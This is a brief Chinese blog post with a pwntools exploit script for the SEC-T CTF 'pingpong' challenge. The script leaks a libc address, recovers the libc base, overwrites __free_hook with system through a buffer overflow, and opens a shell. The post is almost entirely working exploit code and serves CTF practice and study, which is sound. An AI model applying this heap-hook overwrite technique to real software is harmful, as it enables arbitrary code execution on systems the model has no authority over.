CTF Re&&Pwn

SEC-T pwn题 简单复现

2018-09-18  本文已影响5人  zs0zrc

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./pingpong')
    elf = ELF('./pingpong')
    libc = elf.libc
else:
    host = '142.93.39.178'
    port = '2025'
    p = remote(host,port)
    elf = ELF('./pingpong')
    libc = ELF('./libc.so.6')

context.arch = elf.arch
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)


rc()
sl('aaaaaaaa')
ru('ping:')
sl('aaaaaaaa')
ru('pong: aAaAaAaA')
leak = u64(p.recvline().strip('\n').ljust(8,'\x00'))
leak_stdout = 0
for i in range(6):
    if(i&1):
        leak_stdout +=(((leak>>i*8)&0xff^0x20)<<(i*8))
    else:
        leak_stdout +=(((leak>>i*8)&0xff)<<(i*8))


libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
__free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
print hex(libc_base)

binsh = '/BiN/Sh\x20'
payload1 = 'a'*0x98 + p64(__free_hook-0x8)
payload2 = binsh + p64(system)

sl(payload1)
rc()
sl(payload2)
p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读